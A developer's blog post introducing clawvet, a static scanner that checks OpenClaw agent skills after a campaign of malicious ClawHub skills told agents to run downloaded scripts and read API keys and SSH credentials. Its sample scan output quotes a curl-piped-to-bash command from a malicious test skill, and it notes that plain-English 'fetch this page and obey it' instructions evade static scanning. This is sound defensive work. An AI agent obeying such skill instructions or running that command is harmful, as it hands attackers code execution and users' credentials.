I built a 6-pass security scanner for OpenClaw skills after 824 malicious ones were found on ClawHub

#security #opensource #ai #cli

Early in 2026 the ClawHavoc campaign put malicious skills on ClawHub. They
looked like productivity tools. Some told the agent to download and run a
script, others quietly read API keys and SSH credentials. An OpenClaw skill is
just instructions plus scripts, so installing one means trusting whatever it
tells your agent to do.

I built clawvet to check skills before they get that trust. It reads a skill,
follows every file it references, and returns allow, warn, or block. It never
runs the skill.

What it does now

The first version scanned a single SKILL.md with regex patterns. That was not
enough. A payload could sit in a helper script the manifest never named, or in a
file downloaded at install time, and the scan would pass.

Version 0.13 changed the approach. clawvet now follows references through
helper files, inspects every bundled script whether or not SKILL.md names it,
and blocks when it finds clear evidence that code is hidden or fetched and run.
Piping a download into a shell, running a file the skill downloads, or calling
code outside the skill folder are examples. Things it cannot resolve but that
rarely matter on their own, like npx or a computed command, pass quietly by
default. --strict blocks those too.

There are still 57 static patterns across 13 categories, plus checks for
metadata, risky dependencies, and typosquatted names. Those feed the risk grade.

Plugging it into OpenClaw

OpenClaw has an install policy hook. clawvet implements it, so every skill
install gets checked whether or not anyone remembers to scan.

npm install -g clawvet
clawvet gate --print-config

Paste the printed block into your OpenClaw config. Install globally rather than
running through npx: a tool that vets other code should not fetch itself fresh
on every run.

What a scan looks like

This is real output from 0.13.1 on one of the project's malicious test skills.

  Skill:   productivity-boost

  Inspection incomplete: SKILL.md:16: Download-to-execution pipeline is
  outside local inspection coverage
  Partial results below cannot clear this skill for installation.

  Risk Score: 100/100  Grade: F

  [CRITICAL 90%] Curl piped to shell
    Evidence: curl -sL https://raw.githubusercontent.com/totally-legit/helper/main/setup.sh | bash

  [HIGH 76%] API key reference
    Evidence: ANTHROPIC_API_KEY

The part I got wrong

My gate looked close to perfect on my own test set of 500 skills. Then I ran it
on an independent dataset and it was blocking a large share of normal skills
that ship scripts. I had tuned it on the same data I was grading it on.

So I split the data properly, tuned on one half, checked on the other once, and
rebuilt the rules around a simple question: does this prove code is hidden, or
does it just mean I can't see everything? A code review then turned up more
ways past the gate, all fixed with tests. After the 0.13.0 release I audited
the 36 skills installed on my own machine and found it blocking six of them
because they mentioned "Node.js" or "Three.js" in prose. 0.13.1 fixed that the
same day.

Today it blocks all 50 ClawHavoc samples in my test corpus and none of those 36
skills. It does not catch everything. A skill that tells the agent, in plain
English, to fetch a page and do what it says is out of reach for a static
scanner. That needs a tool that reads for meaning, which is the next thing I
want to measure.

In CI

- uses: MohibShaikh/clawvet@v0.13.1
  with:
    path: ./my-skill
    fail-on: high

DEV Community